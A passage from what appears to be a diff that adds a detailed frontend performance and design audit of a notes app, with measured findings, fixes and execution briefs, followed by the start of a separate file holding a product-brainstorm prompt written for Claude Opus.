+  CSS 2,651,239 bytes, 1,699,964 comment (64%); JS 7,786,571, about 3,550,221 comment (46%); `index.html` 851,545, 328,208 comment (39%).
+  Gzipped on the wire: CSS 810 KB, stripped 157 KB; boot JS (own 40 files) 1,294 KB, whole-line comments stripped 589 KB; `index.html` 206 KB, stripped 92 KB.
+  Boot transfer measured (`perf.js`): 42 scripts 1,632 KB, 11 stylesheets 821 KB, plus the page.
+- Impact: about 1.47 MB of the 2.66 MB a launch transfers is comment text, and the 5.2 MB of raw JS is parsed with it. Combined with FE-02 this is paid on every launch, and on a phone over LAN mode it is the difference between about 1.2 MB and 2.7 MB.
+- Severity High. NEW (no plan mentions minifying or stripping).
+- Fix: strip at serve time in `RevalidatedStatic` (`src/memorymap/api/app.py`), into the existing precompressed cache, so the files on disk (which the tests read) keep every comment. CSS `/* */` and HTML `<!-- -->` with a small tokenizer that skips strings, `<pre>`, `<textarea>` and `<template>`; JS comments through a small lexer (a whole-line `//` can sit inside a multi-line template literal, so a line regex is not safe on its own; see Brief A). Add a ratchet test on the served gzip sizes. Effort M.
+
+**FE-02. The per-process boot token defeats both the HTTP cache and V8's code cache on every launch.** FIXED b861898
+- Evidence (`cachecost.js`, one persistent browser profile): cold load 52 fetched, 2,445 KB, lock screen at 775 ms, 227 ms of long tasks; same server process reloaded: 49 of 49 from cache, 1 KB, lock screen 448 ms, 0 long tasks; **server restarted (a new launch)**: 0 from cache, 2,105 KB, 824 ms, 172 ms of long tasks; reloaded again: 375 ms, 0 long tasks. The stamp went `0.3.32-6ac304d8` to `0.3.32-6ac30db6`.
+- Impact: every launch of the desktop app or `start.sh` pays a full cold load and a cold parse (about 2x the time to the lock screen here, more on a slow disk or LAN). The token exists to fix a real stale-cache report (CLAUDE.md section 5), but it fixes it by throwing away all caching.
+- Severity High. KNOWN as a decision (CLAUDE.md section 5, `dd2d843`); its cost is NEW.
+- Fix: stamp each URL with a hash of that file's bytes (computed once at startup, or at precompress time) instead of a per-process token: a changed file gets a new URL, an unchanged one keeps its cache across launches. `tests/test_asset_cache_busting.py` keeps holding the stamp's presence. Acceptance: `cachecost.js` after a server restart shows 49 of 49 from cache. Effort S to M.
+
+**FE-03. Opening the Library tab starts the grammar checker: 15.9 MB WASM, 871 KB word list, six bundled surfaces.** FIXED 76a7165 / (c) FIXED 68e0448 (the Library tab fetches library.js alone; the editors, d3 and the whiteboard with the first document or board)
+- Evidence (`libreq.js`): one click on Library fetched `documents-code.js`, `documents-prose.js`, `documents.js`, `whiteboard-map.js`, `whiteboard.js`, `library.js` (893 KB gz, 2,885 KB raw), then `harper-worker.js`, `BinaryModule`, `slimBinary.js`, `/vendor/wordlist/en.txt` (253 KB gz) and `/vendor/harper/harper_wasm_slim_bg.wasm` at **15,935,196 bytes, no content-encoding** (it gzips to 8,051,298). Stack: `renderDocTools()` at `frontend/js/documents.js:16988` (last line of the file, run at load) calls `renderDocProse` which calls `docLoadWordlist` (`documents.js:13666`) and `docGrammarAsk` (`documents-prose.js:84`, `new Worker`), on an empty editor nobody opened. WASM is excluded from gzip on purpose (`app.py:931`, 755 ms to gzip per cold fetch on loopback).
+- Impact: browsing the Library (the most-used list after Notes) costs about 17 MB of transfer, a worker and a 16 MB WASM compile. Over LAN mode on a phone this is the single largest cost in the app. First Library visit: 779 to 1,210 ms to quiet, 565 ms of long tasks at 5,000 notes.
+- Severity High. NEW.
+- Fix: (a) remove the load-time `renderDocTools()` call's prose half: run `renderDocStatusBar()` at load and start the prose checker on the first `openDocument` with non-empty text; (b) let the precompressed cache gzip the WASM once at startup (the 755 ms was per request, a cached `.gz` costs it once per release) or ship a pre-built `.wasm.gz`; (c) split the `library` bundle (`app.js:2208`): `library.js` alone for the Library, documents and whiteboard on first open of one. Acceptance: `libreq.js` shows no harper, wordlist or whiteboard request on a Library visit. Effort M.
+
+**FE-04. Graph at 5,000 notes: the main thread never gets quiet.** FIXED bdbdd0c
+- Evidence (`graphprof.js`, `idle.js`, `perf.js`, 5,011 nodes): 30 s after opening, ticks still advancing (alpha 0.047 at about 24 s), `__graphDebug.tickMs` 70 to 240 ms. CPU profile over 32 s: `drawImage` 7,799 ms, `gcDraw` (`graph-canvas.js:1420`) 961 ms, `gcNodeSprite` (`:848`) 361 ms, `gcDrawNebulae` (`:904`) 195 ms, GC 523 ms. Frame gaps p50 17 ms, p95 67 ms, max 300 ms. Idle 15 s on the tab: **44.4% main thread busy**, 8.8 rAF/s, 139 style recalcs. `perf.js`: first visit did not reach 1.2 s without a long task within 20 s; warm revisit 11.65 s to quiet with 51 long tasks totalling 3,442 ms. `/graph` 419 ms, 107 KB.
+- Impact: the plan's target ("5,000 nodes at 60 fps", GRAPH_PLAN section 3) is far off, and the HISTORY claim that "the main thread is roughly 10% busy ... the renderer is not the reason" (measured at 2,000) does not hold at 5,000: the renderer's own `drawImage` is the largest single cost. A laptop fan runs while the Graph tab is merely open.
+- Severity High. KNOWN in part (GRAPH_PLAN Phase 1 gate recorded as not met in HISTORY); the 5,000-note numbers and the attribution are NEW.
+- Fix: in `graph-canvas.js`, level of detail: below a zoom threshold draw nodes as batched `Path2D` arcs or `fillRect` per colour (one fill per colour, no per-node `drawImage`), sprites only above it; cull with the existing `inView` before every draw, not after; draw at most once per worker tick (a tick is 70 to 240 ms, frames are drawn at 8.8/s, many identical); stop the minimap repaint during the layout. Acceptance at 5,000 notes: `drawImage` under 1.5 s per 30 s profile, idle busy under 15%, p95 frame under 33 ms. Effort M to L.
+
+**FE-05. `loadEntries()` refetches the whole notebook after every save, from 132 call sites.** FIXED 82d2213
+- Evidence (`save5k.js`, 5,010 notes): three calls of `loadEntries()`: 3,742 / 3,106 / 3,824 ms, each 27 sequential requests of 200 (`ENTRIES_PAGE_SIZE`, `notes-list.js:3428`), 646 KB wire, 5,312 KB raw JSON, 7 to 8 long tasks totalling 717 to 1,133 ms. One `saveEntry()` moved 5,780 KB raw. Call sites: `grep -c "loadEntries()"` 132; `saveEntry` awaits it (`capture-ask.js:736`), and the filing watcher awaits it again when filing finishes (`capture-ask.js:87`). Heap after Notes at 5,000: 36 MB.
+- Impact: at 5,000 notes each save, delete, undo, link and filing completion pulls 5 MB and blocks the main thread up to 1 s; it scales linearly. The list itself is paged (61 `li` rendered), so the cost is the data, not the DOM.
+- Severity High. KNOWN in part (BACKLOG 111.1, which describes the load-everything shape at 1,000 per page); the measurement and the per-save cost are NEW.
+- Fix: a `upsertEntries(list)` / `removeEntries(ids)` pair in `notes-list.js` that patches `allEntries` from the save/delete response and re-renders, and a `GET /entries?since=<updated_at>` delta for the rest; keep `loadEntries()` for unlock and the explicit refresh button. Convert the save, delete, undo, filing and link paths first (about 20 of the 132). Acceptance: a save at 5,000 notes makes at most 2 requests and no long task over 100 ms. Effort M.

+### Medium
+
+**FE-06. Boot JS regressed 29% after the budget was "met", and nothing measures it.** FIXED e827564
+- Evidence: gzip -6 of the boot set: own 40 files 1,294 KB plus d3 90 KB = 1,384 KB; with p5 (fetched after load on every boot, see FE-07) 1,623 KB; `perf.js` wire total 1,632 KB in 42 files, 5,240 KB raw. WORLD_CLASS_PLAN H7: "boot JS went 1,699 to 1,072 KB ... against the 1 MB line" (2026-09-24), and "`boottime.js` is the gate". `boottime.js` is not in `scripts/gate.sh` (line 279 lists 120 sweeps, not it) and no test bounds a boot asset's size. `avatars.js` (150 KB gz) was split from `app.js` because it "took the gzipped app.js over its size bound" (`index.html:12294`), i.e. the bound was dodged by moving the code to another boot file.
+- Impact: the budget is decorative; growth lands silently. Largest boot files gz: avatars 150, settings 71, dashboard 67, notes-list 62, atlas 55.
+- Severity Medium. Claimed built and regressed.
+- Fix: `tests/test_boot_budget.py` reading the `<script src>` list from `index.html`, gzipping each, failing over a number (start at today's 1,384 KB and ratchet down); lazy-load the decoration (`avatars.js`, `atlas.js`, `bg-art.js`, `tour.js`: about 850 KB raw, 260 KB gz) behind the first paint of a face, the art or the tour. Effort S for the ratchet, M for the moves.
+
+**FE-07. p5 (1 MB raw, 239 KB gz) is still fetched and parsed every boot; d3 (280 KB raw, 90 KB gz) still blocks DOMContentLoaded.** NOT FIXED (left to the lazy-module agent: d3 and p5 tags sit in its files) / FIXED aac8690 (the emblem a 2D canvas, pixel-matched; d3 in the graph and library bundles; boot JS 691,724 to 589,299 bytes gz)
+- Evidence: `/vendor/p5.min.js` is in every boot's resource list (`perf.js`), requested by `ensureP5()` (`phone-shell.js:60`) because the emblem is drawn at boot. `<script src="/vendor/d3.v7.min.js">` at `index.html:12239`, synchronous; `d3.` is used in `graph*.js`, `whiteboard*.js` and three lines of `wiring.js` (1380 to 1382, inside the graph's physics toggle).
+- Impact: 330 KB gz and about 85 to 135 ms of parse (the plan's own figure for p5) for decoration and two lazy surfaces.
+- Severity Medium. KNOWN (WORLD_CLASS_PLAN H7 "found, not fixed"; MODERNISATION_AUDIT C3 proposed `import()` for both).
+- Fix: port the emblem to canvas 2D as `bg-art.js` was; move d3 into the `graph` and `library` lazy bundles (`app.js:2171`). Effort M.
+
+**FE-08. Each lock and unlock stacks another reminder poll and its listeners.** FIXED 91d3499
+- Evidence (`lockleak.js`, quiet server, 5,010 notes): requests in an idle 65 s before any lock: `/reminders` 1, `/models/status` 1. After 4 lock/unlock cycles: `/reminders` **5**. Listeners 3,062 to 3,098, CDP nodes 25,696 to 27,578 (about +470 retained per cycle, after GC). Cause: `unlock` calls `startApp()` (`app.js:912`), whose `step("watch reminders", startReminderWatch)` (`app.js:1224`) adds `setInterval(checkDueReminders, 60_000)` plus `focus` and `visibilitychange` listeners (`status.js:699` to 706) with no guard. Any 401 also routes through the lock screen (`app.js:483`, `capture-ask.js:2569`, `chat-agent.js:2725`, `documents.js:16749`), so an expired session does this without the person locking.
+- Impact: a desktop window left open for a day polls `/reminders` N times a minute and retains DOM per unlock.
+- Severity Medium. NEW.
+- Fix: make `startReminderWatch` idempotent (module flag, or keep the interval id and `clearInterval` first; bind the two listeners once at module level). Find the +470 nodes with a heap snapshot diff across one cycle. Acceptance: `lockleak.js` shows `/reminders` 1 per idle minute after 4 cycles and node growth under 50 per cycle. Effort S.
+
+**FE-09. CSS: 2.59 MB shipped, 378 KB of it used.** PARTIAL b861898 (the strip: 810 to 180 KB gz on the wire; unused rules not deleted) / still open after perf2: no coverage-driven deletion (not started)
+- Evidence (`csscov.js`, Chromium CSS coverage, light, 1440, every tab and all 20 Settings panes visited): 2,591 KB, 930 KB once comments are removed, 378 KB used (41% of rule bytes, 15% of what is shipped). 10,241 selector occurrences, 8,278 distinct, 140 selectors defined in four or more places, 160 `!important`. The 2026-09-13 audit measured 1.24 MB of CSS (MODERNISATION_AUDIT C3): it has doubled in three weeks.
+- Impact: render-blocking 821 KB gz before the lock screen; every style recalculation walks about 10,000 selectors.
+- Severity Medium. NEW (the size, the coverage).
+- Fix: FE-01 removes 80% of the bytes; then a coverage sweep in dark, 390 and with menus and the whiteboard open, to list rules no state uses, and delete them in batches with `tests/test_css_braces.py` and the sweeps as the gate. Effort M.
+
+**FE-10. `index.html` is 852 KB and builds 8,906 elements before the lock screen.** PARTIAL b861898 (the strip: page 206 to 93 KB gz; panes not moved into templates) / NOT MOVED, decided d43564c (the panes are 1,949 of 9,014 elements in a display:none window; a <template> is still parsed, and 5 interleaved runs showed no DOMContentLoaded gain: perf2-1005-settingstpl.js)
+- Evidence: `wc -c` 851,545 (206 KB gz, 39% comments); `document.getElementsByTagName('*').length` 8,906 at boot (9,792 at 5,000 notes); CDP `Nodes` 23,839. Every Settings pane (20), every dialog and every tab's markup is in the page at boot.
+- Impact: parse and style of 9,000 elements nobody sees at the lock screen; the pre-auth long tasks were 85, 100 and 90 ms (10 notes) and up to 358 ms under load.
+- Severity Medium. NEW.
+- Fix: FE-01's comment strip first (206 to 92 KB gz); then move the Settings panes into `<template>` elements cloned on the first `openSettingsModal` (the panes are already lazily wired). Effort M.
+
+**FE-11. Breakpoints are not "stated once": 58 distinct width queries, and two conventions collide at 600 and 720.** FIXED 4a5344d / 900 group FIXED 24c1df9 (onto 819.98/820, swept 820 to 901 light and dark); 720 and 640 groups still allow-listed
+- Evidence: `grep -ohE "\((max|min)-width: ?[0-9.]+(px|rem|em)\)" css/*.css | sort -u | wc -l` = 58. Commonest: 599.98px (51), 819.98px (37), 720px (28), 600px (21), min 600px (15), 1099.98px (7), 640px (6), 900px (5), 40rem (5). `max-width: 600px` and `min-width: 600px` both match at exactly 600 px (21 + 15 rules), and `max-width: 720px` with `min-width: 720px` at 720 (28 + 3).
+- Impact: four designed layouts (UI_MODERNISATION_PLAN Phase 9: 600, 820, 1100) became dozens; a 600 px or 720 px window gets both sides' rules.
+- Severity Medium. Claimed built (Phase 9, "makes the breakpoints a design, stated once").
+- Fix: a lint (`tests/test_breakpoints.py`) allowing only the Phase 9 set (599.98 / 819.98 / 1099.98 and their `min` twins at 600 / 820 / 1100) plus a named allow-list; migrate the 720, 640 and 900 groups. Effort M.
+
+**FE-12. Silent failures on destructive and state-changing actions.** FIXED ac96ac7
+- Evidence: 272 empty catches (`catch {}`, `.catch(() => {})`, `=> null`). Ones that hide a user's action failing: Forget a memory, `navigation.js:2575`; delete a backup, `settings-data.js:175`; pin, delete and clear question history, `ask-history.js:218, 227, 238`; clear server logs, `settings.js:1109`; tension accept and dismiss toast success even when the POST failed, `suggestions-inbox.js:370, 378` ("Linked as contradicting."); redo of a skill delete and of a bookmark delete, `library.js:2333, 9306`; bulk reminder delete `shell-reminders.js:1113`.
+- Impact: the person is told nothing or told the wrong thing; the item reappears on the next render with no explanation.
+- Severity Medium. NEW.
+- Fix: replace `.catch(() => {})` on mutations with `.catch((e) => toast(e.message, true))` and return early before the success toast; a lint that fails on `method: "(POST|PUT|PATCH|DELETE)"` followed by a silent catch, with an allow-list for beacons. Effort S.
+
+**FE-13. First visits at 5,000 notes: Timeline and Dashboard block for a second.** NOT FIXED (re-measured: tab JS about 100 ms at 5,000 notes; the cost is the routes, /timeline 3.5 s under load, a backend item) / routes FIXED 7449811 (/timeline 132 to 100 ms and 323 to 163 KB, /entries/reference-counts 1,112 to 214 ms in process at 5,000 notes); tab JS unchanged
+- Evidence (`perf.js`, 5,010 notes, load about 14): Timeline first visit `/timeline` 1,302 ms, 12 long tasks, 1,286 ms; Dashboard first visit 13 fetches, 8 long tasks, 815 ms (max 172 ms); Library 7 long tasks 565 ms; unlock to quiet 1,199 ms. At 10 notes the same tabs were 0 to 1 long task.
+- Impact: the app feels slow exactly when the notebook is large; the long tasks scale with N.
+- Severity Medium. NEW at this size (TIMELINE_PLAN section 7 measured smaller notebooks).
+- Fix: profile each with `graphprof.js`'s method; the Timeline likely builds every row before paging. Effort M.
+
+### Low
+
+**FE-14. Desktop controls under the app's own 28 px floor.** FIXED 4a5344d / chips FIXED 139ee7b (28px target by a ::after overhang, paint stays 24; 0 under at 1440 light and dark)
+- Evidence (`floor.js`, 1440, `--target-min` = 1.75rem): the view-toggle segments in four docks, `#notes-view-rows`/`-cards`, the Library's two, `#timeline-view-feed`/`-table`, the Reminders' two, all **28 x 24**; Documents Edit/Read 74 x 24 and 82 x 24; interactive category and "Add tags" chips 24 tall; `#chat-title` (a button) 110 x 24.
+- Impact: DESIGN.md "Hit targets" says 28 px is "the floor under every interactive thing"; `iconfloor.js` only checks touch contexts (44 px), so the desktop floor has no sweep.
+- Severity Low. Claimed (DESIGN.md hit targets).
+- Fix: segments in a dock track `min-height: var(--target-min)` with the track growing to 32 + padding, or the track 36; a `floor.js`-style desktop check in `iconfloor.js`. Effort S.
+
+**FE-15. The design census: same role, different numbers.** PARTIAL (role table in DESIGN.md, docs commit; census sweep not extended) / FIXED d43564c (perf2-1005-census.js fails when a role gains a height, baseline at 1440)
+- Evidence (`census.js`, 1440 light, 8 tabs, the shell and 20 Settings panes, 1,183 buttons):
+
+| Role | Count | Heights (px: count) | Font sizes | Radii |
+| --- | --- | --- | --- | --- |
+| icon-only | 711 | 28: 305, 32: 104, 24: 94 (chips), 22: 99 (help links), 14.5: 35, 34.5: 22, 35: 15, 36: 7, 44: 5, others | 12.8, 14.72, 13.6, 12, 16 | 4.8, 2.4, 0, 50%, 999, 6.4 |
+| ghost | 133 | 32: 125, 66.5: 7 (day strip), 44: 1 (space switcher) | 13.6, 12.8, 12 | 4.8, 999 |
+| filled | 73 | 32: 45, 36: 4, 61.5: 5, 96.5: 13, 19/23: 6 (wiki links) | 14.72, 13.6, 12 | 4.8, 6.4, 2.4 |
+| segment | 33 | 24: 12, 32: 21 | 13.6 | 8.8, 999, 2.4 |
+| tab | 22 | 36: 22 | 13.6, 16 | 2.4, 4.8 |
+| chip | 30 | 24: 27, 28: 3 | 12 | 2.4, 4.8 |
+
+  The same class string `button.ghost.small.icon-only` renders at 21, 28 and 32. Icon glyphs inside buttons at 5 sizes (13.8, 14.72, 15.64, 16.93, 18.4 px). Line-height ratios: 10 distinct (1.50 on 3,726 elements, then 1.25, 1.20, 1.30, 1.45, 1.35, 1.00, 1.60, 1.55, 1.15). Off-token font sizes: only 66 elements (`code` at 12.512 px in Help, 57; `kbd` 11.52, 8). Off-token radii: 1. Docks: one control height per bar on every tab (32), Graph's bar 47 px against 50 elsewhere.
+- Doc drift: DESIGN.md "Control height" says the tab bar and sub-tab strips take `--target-min` (28): measured 36. WORLD_CLASS_PLAN 1.2 says `--control-h-lg` is 36 px; DESIGN.md says 2rem (32); docks measure 32.
+- Severity Low (the token layer is sound: off-token sizes and radii are near zero; the variance is in which token each role picks). NEW.
+- Fix: write the role table above into DESIGN.md as the contract and extend `census.js` into a sweep that fails when a role gains a height. Effort S.
+
+**FE-16. Three relative-time formatters, five download helpers.** FIXED ac96ac7 (download helpers not merged) / download helpers FIXED 3aceb1a (downloadBlob, one copy; the dictionary export via saveFile)
+- Evidence: `dashRelativeTime` (`dashboard.js:4105`, "3 hours ago", `new Date(iso)`), `relativeTime` (`sheets-selects.js:1440`, "3h ago", "yesterday", via `parseServerTime`), `relativeWhen` (`shell-reminders.js:1297`, "3 hours ago" and "in 3 hours", `new Date(iso)`). Downloads: `downloadDocumentExport` (`documents.js`), `downloadExport` (`settings-panes.js`), `downloadSupportBundle` (`settings.js`), `downloadJson` and `downloadFromApi` (`skills.js`); `URL.createObjectURL` in 9 files.
+- Impact: the same timestamp reads differently on the Dashboard and in a list; two formatters skip the UTC guard the third added after an "Invalid Date" bug.
+- Severity Low. NEW. Fix: one `relativeTime(iso, {future})` in `app.js` using `parseServerTime`; one `downloadBlob(blob, name)`. Effort S.
+
+**FE-17. Global-scope coupling.** FIXED e827564
+- Evidence: 3,950 top-level functions and 700 top-level `let`/`var` in one scope; 371 `typeof X === "function"` guards for calls across files (avatars.js 53, settings.js 39, documents.js 37). Positive: no duplicate top-level function names; only one unreferenced function (`atlasRetune`, `atlas.js:1059`).
+- Severity Low. NEW (as a number). Fix: none urgent; the guards are the cost of the lazy bundles. Track the guard count as a ratchet. Effort S.
+
+**FE-18. `field-clear.js` polls every second for the whole session.** FIXED 91d3499
+- Evidence: `field-clear.js:111`, `setInterval(..., 1000)` re-syncing every clear button, never cleared; inputs already have `input` listeners.
+- Severity Low. NEW. Fix: sync on `input`, `change` and after programmatic value sets (a `fieldClearSync` call where code assigns `.value`). Effort S.
+
+**FE-19. Responsive: small defects only.** PARTIAL 4a5344d (toggle at 768, snippet tooltips; Documents' Outline tab at 1024 and Library at 390 open) / Outline tab FIXED fad3c4b (under the toggle below a 14rem sidebar, DOCUMENTS_PLAN decision 6); Library at 390 not re-checked
+- Evidence (`resp.js`, 8 tabs x 390, 768, 1024, 1440, 1920, touch context under 820): document horizontal overflow 0 everywhere. `.sidebar-collapse-toggle` starts at x = -5 at 768 (Notes, Chat, Documents). Documents at 1024: the sidebar's "Outline" tab cut 7 px and overlapped by the collapse toggle. Library at 390: the sort select and the Rows/Cards toggle have a corner under the kind chips. Under-44 targets at 390: only chips (24 tall), `#chat-title`, `#doc-title` (32). Orphaned headings: 0 at 1440 and 768, 4 at 390 (`settings:models` "Advanced response settings", three skill names). Truncation without a tooltip: 250 `.timeline-row-snippet` at 1440 (the title beside it has one).
+- Severity Low. NEW. Fix: per item, S.
+
+### Contrast (no finding)
+
+`contrast.js` light and dark: 0 failures on 36 views each (8 tabs, 9 sub-tabs, the Guide, 20 Settings panes). `contrast2.js` added placeholders (0 under 4.5:1) and text under ancestor opacity (1 marginal: the submenu arrow at 4.50). Caveat: `contrast.js` skips any element with a gradient or image background up its tree, and the whiteboard was skipped (no board in the notebook).

+
+## 4. Top 5 execution briefs
+
+### Brief A: strip comments at serve time and ratchet the boot budget (FE-01, FE-06, FE-10)
+- Goal: boot transfer from about 2.66 MB to about 1.2 MB with no change to any file on disk.
+- Files: `src/memorymap/api/app.py` (`RevalidatedStatic`, its `_precompressed` gzip cache); new `src/memorymap/api/asset_strip.py`; new `tests/test_asset_strip.py`, `tests/test_boot_budget.py`.
+- Steps: (1) tests first: strip functions on fixtures (CSS comment inside a string kept; HTML comment inside `<pre>`, `<textarea>`, `<template>` kept; JS whole-line `//` removed, `//` inside a string or a multi-line template literal kept); (2) apply in the precompress step for `.css`, `.js` and `index.html` only, never `vendor/`; (3) `test_boot_budget.py` gzips the served bodies of every `<script src>` and `<link rel=stylesheet>` in `index.html` and fails over today's numbers minus the saving; (4) `node --check` every stripped JS in the test.
+- Acceptance: `perf.js` boot `jsWireKB` under 1,000 and `cssKB` under 200; `scripts/gate.sh --sweeps` errors 0; `tests/test_asset_cache_busting.py` green.
+- Risks: a JS line starting with `//` inside a multi-line template literal or a regex literal. A naive backtick scan cannot rule this out (backticks in the comments themselves pair up across code and flag hundreds of false candidates), so the JS stripper needs a small lexer (strings, template literals with `${}` nesting, regex literals, comments), proven by a test that the stripped file's token stream equals the original's minus comments, plus `node --check`. CodeQL may flag a regex over HTML, so use a scanner, not one regex.
+
+### Brief B: content-hash asset stamps instead of the per-process boot token (FE-02)
+- Goal: a relaunch reuses the browser's cache and code cache; a changed file still gets a new URL.
+- Files: `src/memorymap/api/app.py` (`_BOOT_TOKEN`, the stamp splice in `RevalidatedStatic`), `frontend/js/app.js` (`lazyAssetStamp`, `app.js:2242`), `tests/test_asset_cache_busting.py`.
+- Steps: (1) test: the stamp for a file is a function of its bytes, stable across two app instances, different after the file changes; (2) compute `sha256(file)[:10]` per local CSS/JS at startup, splice `?v=<version>-<hash>` per URL in the served `index.html`; (3) `lazyAssetStamp` reads the per-file stamp from a small JSON map the page carries, not one shared token; (4) keep `immutable` on stamped URLs.
+- Acceptance: `cachecost.js` after a server restart: 49 of 49 from cache, lock screen within 10% of the warm reload. The desktop stale-cache report must still be impossible: edit a CSS file, restart, the new URL is fetched.
+- Risks: workers and dynamically inserted scripts (`harper-worker.js`, `ensureModule`) must read the same map; the service worker (`frontend/sw.js`) caching rules.
+
+### Brief C: the Library stops loading documents, whiteboard and the grammar checker (FE-03)
+- Goal: a Library visit fetches `library.js` and its data only.
+- Files: `frontend/js/documents.js` (line 16988 `renderDocTools()`, `docLoadWordlist` 13666), `frontend/js/documents-prose.js` (`docGrammarAsk` 84), `frontend/js/app.js` (`LAZY_MODULES.library` 2208, `TAB_MODULES` 2229, `LAZY_ENTRY_POINTS`), `src/memorymap/api/app.py` (WASM precompress).
+- Steps: (1) a Playwright test or sweep (`libreq.js` shape) that clicks Library and asserts no `harper`, `wordlist`, `whiteboard` request; (2) load-time call becomes `renderDocStatusBar()` only; prose starts in `openDocument` when the text is non-empty; (3) split the bundle into `library` (library.js) and `documents` (documents-code, -prose, documents, whiteboard-map, whiteboard), with entry-point stand-ins for every function the Library calls into them (`grep` the Library's calls first); (4) precompress the WASM once at startup into the gzip cache.
+- Acceptance: Library first visit under 200 KB gz of JS; opening a document still checks spelling and grammar (`scratchpad/ui-sweeps/docs-spell.js`, `p2-harper.js` green); `errors.js` 0 on every tab.
+- Risks: the bundle order comments in `app.js:2196` say documents.js's top level names functions from the two files before it; a stand-in missed is a ReferenceError on a click, so drive every Library card kind (note, document, board, map, image, file, bookmark).
+
+### Brief D: save without refetching the notebook (FE-05)
+- Goal: a save, delete, undo, link or filing completion updates `allEntries` in place.
+- Files: `frontend/js/notes-list.js` (`loadEntries` 3449, `_loadEntries`), `frontend/js/capture-ask.js` (`saveEntry` 647 to 760, filing watch 80 to 90), the delete and undo paths (`grep -n "loadEntries()"`), `src/memorymap/api/routes_entries.py` (a `since=` filter if missing).
+- Steps: (1) test: with 5,000 notes, `saveEntry` makes at most 2 requests (`save5k.js` shape, or a Python test counting `/entries?` hits through the client); (2) `upsertEntries(entries)` and `removeEntries(ids)` that patch `allEntries`, then `renderEntries()`, `renderSidebar()`; (3) convert the save, delete, restore, undo/redo, filing-done and link paths; (4) leave `loadEntries()` for unlock, refresh and space switch.
+- Acceptance: `save5k.js` saveEntry under 300 ms, at most 2 requests, no long task over 100 ms; the Notes list, sidebar counts and category chips update after each converted action (drive each in Playwright).
+- Risks: derived caches (`referenceCountsCache`, `reminderCountsCache`, map chips via `ensureMapChipsFor`) must be refreshed for the patched ids; the semantic-search branch of `_loadEntries` keeps its own path.
+
+### Brief E: Graph at 5,000 notes draws less and stops (FE-04)
+- Goal: the Graph tab at 5,000 notes settles and idles like the other tabs.
+- Files: `frontend/js/graph-canvas.js` (`gcDraw` 1420, `gcNodeSprite` 848, `gcDrawNebulae` 904, `inView` 1446, worker message 3312), `frontend/js/graph.js` (`graphMinimapPaint` 4577), `frontend/js/graph-worker.js`.
+- Steps: (1) measure first with `graphprof.js` at 5,000 (seed with the session's `seed5k.py` shape or `scratchpad/graph-fixture.js` at 5,000); (2) draw only on a new worker tick or a transform change (dirty flag); (3) below a zoom threshold draw nodes as one `Path2D` per colour, sprites above it; (4) cull before building the draw list; (5) no minimap repaint while alpha is above the settle line; (6) end the simulation at a tick budget (for example 300 ticks or 20 s) and freeze.
+- Acceptance at 5,000 notes: settled within 20 s, idle busy under 5% after settling, `drawImage` under 1.5 s per 30 s, p95 frame under 33 ms during the layout; `scratchpad/ui-sweeps/graph.js` and `graphminimap.js` green; the 2,000-note gate numbers in HISTORY re-measured.
+- Risks: label placement and hover hit-testing depend on sprite geometry (`nodeGeometry` in `__graphDebug`); keep the debug snapshot's fields so the sweeps still assert on them.
+
+Smaller, same session if time: FE-08 (idempotent `startReminderWatch`, S), FE-12 (mutation catches toast, S), FE-14 (dock segment floor, S).
+
+## 5. What I could not verify
+
+- Real devices: no phone, no iPad, no Windows WebView2 window; LAN mode transfer costs are inferred from byte counts, not timed over Wi-Fi.
+- Timings were taken at load average 6 to 21 on four shared cores; only relative numbers and byte or request counts should be quoted.
+- The desktop app's own cache behaviour (`storage_path` profile) was not run; FE-02 was measured in a Playwright persistent profile, which caches the same way Chromium does.
+- The whiteboard and mind map were not swept (no board in the notebook); dark-theme census and CSS coverage were not run (light only, 1440 for coverage).
+- JS coverage (unused code per bundle) was not computed; the +470 retained nodes per unlock (FE-08) were not attributed with a heap snapshot.
+- `resp.js` reported controls inside closed panels as clipped or off screen in some cases (`#timeline-options` at 390 and 768, `#doc-delete` behind the documents status bar); those were checked by screenshot and left out, and a few remaining Low items in FE-19 were not confirmed visually.
+- The Graph never settled within the 30 s window, so the time to settle at 5,000 notes is "more than 30 s", not a number.

+# I am making an app an I need claude opus to deep brainstorm a way to massively improve all existing features so that they aoutshine competiotr apps, and for new features that other competitors and notone els has or has seen before
+
+Great goal. Here's a copy‑paste prompt you can give to Claude Opus (ideally Opus 4.6/4.7/4.8 or Opus 5 with "Extra high/Max effort" and Extended Thinking on) to drive a deep, competitive‑crushing brainstorm across all your features and uncover truly novel ones.[^1_1][^1_2][^1_3]
+
+## Copy‑paste master prompt for Claude Opus
+
+```text
+You are my Chief Product Strategist and Competitive Intelligence Lead. Your job is to help me massively improve every existing feature of my app so it outshines competitors, and to invent new features competitors haven't seen or shipped.
+
+Context about my app
+- One‑line: [insert your app's one‑liner]
+- Target users: [who uses it, key segments]
+- Platform/tech: [web/iOS/Android/desktop; key tech stack]
+- Current features (list each with 1–2 lines on what it does and why users care):
+  1) [Feature A]: [...]
+  2) [Feature B]: [...]
+  3) [Feature C]: [...]
+  ...
+- Top competitors (URLs if possible): [Competitor X], [Competitor Y], [Competitor Z]
+- What we want to be known for (3–5 brand attributes): [e.g., fastest, most private, most creative, best onboarding, etc.]
+- Constraints to respect: [e.g., must run locally/offline, must be simple, must avoid heavy cloud costs, etc.]
+- Time horizon: [e.g., 6–8 weeks for v1 improvements, 3–6 months for moonshots]
+
+Your tasks
+1) Competitive teardown (fast but sharp)
+   - For each competitor, list their standout features, UX patterns, pricing hooks, and growth loops.
+   - Identify 3–5 "table stakes" features we must match or exceed.
+   - Identify 3–5 "wedge" opportunities where we can be 10x better or do something they can't copy quickly.
+
+2) Existing feature upgrades (make each one category‑leading)
+   For EVERY existing feature I listed:
+   - Current state: 1–2 lines on what it does today and where it falls short.
+   - 10x vision: describe a version that would be obviously best‑in‑class (speed, delight, outcomes, retention).
+   - 5 concrete upgrade ideas (mix of UX, automation, AI, and system design). For each idea include:
+     • What changes (specific UI/flow/behavior)
+     • Why it wins vs competitors (the differentiator)
+     • Effort (S/M/L) and risk (Low/Med/High)
+     • Metric it moves (activation, retention, conversion, NPS, time saved, etc.)
+   - Quick wins (≤1 week) we can ship immediately.
+   - One "signature interaction" per feature that would make people say "only this app does it like this."
+
+3) New feature inventions (novel, defensible, valuable)
+   Generate 12–20 new feature ideas that competitors don't have or haven't done well. Organize them into:
+   - Category A: Obvious gaps competitors missed (high value, medium effort)
+   - Category B: AI‑native superpowers (agentic workflows, automation, personalization, multimodal)
+   - Category C: Moonshots (12–24 month defensibility, network effects, data advantages)
+   For each idea include:
+   • One‑sentence pitch
